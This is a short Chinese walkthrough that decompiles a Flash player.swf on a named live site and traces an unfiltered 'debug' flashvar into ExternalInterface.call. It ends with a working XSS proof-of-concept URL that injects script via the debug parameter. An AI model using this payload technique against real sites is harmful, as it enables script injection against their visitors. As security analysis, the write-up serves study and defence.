简单分析个 flash xss

url: http://yximg.mop.com/minisite/201007/baodaopage/Scripts/player.swf

wget 下来,反编译,看到是 as3 的,搜索 loaderinfo,发现:

public function loadConfig():void{
    this.loadCookies();
    if (this.xmlConfig){
        this.loadXML(this.xmlConfig);
    } else {
        this.loadFlashvars(RootReference.root.loaderInfo.parameters);
    };
}

可以看到 loaderinfo.parameters 被带入了 loadFlashvars,搜索这个函数,看看它是怎么定义的:

public function loadFlashvars(_arg1:Object):void{
    var param: = null;
    var params: = _arg1;
    try {
        for (param in params) {
            this.setConfigParam(param, params[param]);
        };
        dispatchEvent(new Event(Event.COMPLETE));
    } catch(e:Error) {
        dispatchEvent(new ErrorEvent(ErrorEvent.ERROR, false, false, e.message));
    };
}

看到这句 this.setConfigParam(param, params[param]);,然后跟踪 setConfigParam

private function setConfigParam(_arg1:String, _arg2:String):void{
    this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.decode(_arg2));
}

这里可以看到参数被传到了 config 中,然后我们再看对 config 进行了那些调用,搜索 _config

private static function send(_arg1:String):void{
    var _local2:String = (_config) ? _config.debug : TRACE;
    switch (_local2){
        case ARTHROPOD:
            CONNECTION.send(CONNECTION_NAME, debug, CDC309AF, _arg1, 0xCCCCCC);
            break;
        case CONSOLE:
            if (ExternalInterface.available){
                ExternalInterface.call(console.log, _arg1);
            };
            break;
        case TRACE:
            trace(_arg1);
            break;
        case NONE:
            break;
        default:
            if (ExternalInterface.available){
                ExternalInterface.call(_config.debug, _arg1);
            };
    };
}

此时已经明了,debug 参数未经过滤最后被 ExternalInterface.call 调用了,于是我们构造如下:

http://yximg.mop.com/minisite/201007/baodaopage/Scripts/player.swf?debug=alert(/ hello,world/));}catch(e){};//